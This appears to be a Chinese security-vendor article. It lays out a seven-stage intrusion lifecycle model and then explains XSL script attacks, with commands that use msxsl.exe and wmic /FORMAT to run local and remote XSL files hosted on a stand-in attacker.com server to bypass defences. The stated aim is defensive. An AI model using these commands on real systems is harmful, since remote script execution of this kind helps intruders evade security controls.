美創科技為了更好地進行入侵檢測和防御,參照各種安全威脅框架和自身的實踐與思考,提出了基于入侵生命周期的攻擊管理模型,作為美創新一代安全架構的三大支柱之一。
入侵生命周期v1.0把入侵過程劃分為7個階段:探索發現、入侵和感染、探索感知、傳播、持久化、攻擊和利用、恢復。入侵生命周期v1.0同樣以ATT&CK作為基本戰術知識庫,匹配到不同的入侵階段。需要注意的是,并非所有的入侵都會經歷這7個階段,也沒有絕對的線性次序。
1)探索發現
在這個階段中,攻擊者會先鎖定攻擊對象,然后利用某些技術手段,盡可能多地獲取目標暴露出來的信息,如通過端口掃描、指紋探測等方式,發現敏感端口及版本信息,進而尋找攻擊點,為下一步入侵做準備。
2)入侵和感染
在這個階段,攻擊者會根據“探索發現”階段所發現的重要信息,來對目標暴露出的攻擊面進行攻擊嘗試,在“探索發現”階段收集到的信息越多,攻擊對象所暴露的攻擊面也就越多,攻擊更易成功。
3)探索感知
攻擊者在成功進入系統內部后,由于是首次進入所以會出現對內部環境不熟悉的情況,這時攻擊者的動作一般會是對當前所處環境進行探索,摸清內部大致的網絡結構,常常伴隨著被入侵本機的敏感信息收集以及對內網大量的端口進行掃描,后續根據攻擊者的目的進行下一步操作。
4)傳播
在此階段,攻擊者根據上一階段在內網探索感知收集到的信息,選擇特定的攻擊手法。如若發現內部是域環境,攻擊者可能會嘗試先攻破域控服務器,再傳播其他機器。若是工作組環境,可能會利用收集到的端口和服務信息,選擇特定漏洞進行批量掃描攻擊,來盡可能多地繼續獲得其他計算機的控制權。
5)持久化
攻擊者在對資產進行惡意操作后,為了能夠減少再次連接的攻擊成本,方便下次進入,會進行“留后門”的操作,常見的后門如:建立計劃任務,定時連接遠程服務器;設置開機啟動程序,在每次開機時觸發執行特定惡意程序;新建系統管理員賬號等。這樣便于攻擊者下次快速登錄并控制該系統。
6)攻擊和利用
攻擊者在此階段便會開始對目標資產進行惡意操作,按照攻擊者意愿,對能利用的數據進行竊取、利用;對操作系統、敏感文件進行破壞、刪除。所有的防御手段都應該極力阻止攻擊者進行到這一階段。
7)恢復
攻擊者在執行所有的攻擊操作時,往往會在系統上留下大量的行為日志,因此在這一階段,攻擊者會對記錄自身痕跡的所有日志進行處理,或刪除或混淆,從而消滅證據,逃避追蹤。
本系列文章基于美創科技入侵生命周期1.0架構,細分各階段攻擊者的常用攻擊手段,并對相關攻擊手段的具體實施方式進行逐一剖析,為安全防御建設提供有力知識補充和反制準備。
XSL腳本攻擊(傳播)
XSL全稱為EXtensible Stylesheet Language,中文名稱為可擴展樣式表語言。XSL文件通常和XML(可擴展標記語言)文件一起使用,用于處理和展示XML文件中的內容。比如想提取出存儲在XML文件中的數據,可以通過編寫XSL腳本來處理。XSL很靈活,支持在腳本中使用C#、VB、JScript等語言。
從攻擊者的角度來分析,當攻擊者通過遠程命令執行漏洞、webshell等獲得一個命令執行窗口后,直接進行惡意代碼的執行可能會被安全防御措施攔截。通過XSL處理XML文件這樣合法的功能可以在一定程度上繞過限制進行惡意代碼執行。
根據攻擊者的入侵流程和操作手段,利用XSL腳本攻擊進行攻擊在入侵過程的成功入侵之后,可以幫助攻擊者繞過限制進行惡意代碼的執行,從入侵生命周期角度分析,XSL腳本攻擊可作用于傳播階段、攻擊和利用階段、持久化階段。在傳播階段,攻擊者通過XSL腳本攻擊,繞過安全防御軟件執行惡意操作。
從攻擊行為鏈條的上下文來看,針對XSL腳本攻擊的行為鏈條輸入輸出如下:
輸入:msxsl.exe、wmic.exe、xml文件、xsl文件、執行的調用命令
輸出:執行惡意代碼對應的輸出結果
根據不同攻擊思路,攻擊者利用非應用層協議通信進行攻擊的手法通常有2種:
1. 通過msxsl.exe程序本地/遠程調用XSL腳本進行攻擊
msxsl.exe是微軟官方提供的通用命令行轉換程序(目前微軟官方下載中心已經不提供該程序的下載),用于通過Windows系統的XSL處理器來執行XSL腳本,這個程序可以被用來執行JScript代碼。
下載msxsl.exe程序
https://www.mypcrun.com/file-info-page/msxsl-exe/
編寫xml文件
編寫xsl文件
編寫xml文件和xsl文件后放置在本地
使用命令msxsl.exetest.xml test.xsl執行本地xsl文件,成功彈出計算器
將xml文件和xsl文件上傳到vps,構建鏈接
使用命令
msxsl.exehttp://attacker.com/test.xml http://attacker.com/test.xsl執行遠程xsl文件,成功彈出計算器
2. 攻擊機上需要先安裝python-impacket包
WMIC擴展WMI(Windows ManagementInstrumentation,Windows管理工具),提供了從命令行接口和批命令腳本執行系統管理的支持。攻擊者通過WMI可進行遠程交互執行攻擊操作。
使用命令wmic processlist /FORMAT:test.xsl執行本地xsl文件,成功彈出計算器
使用命令wmic os get/FORMAT:"http://attacker.com/test.xsl” 執行遠程xsl文件,成功彈出計算器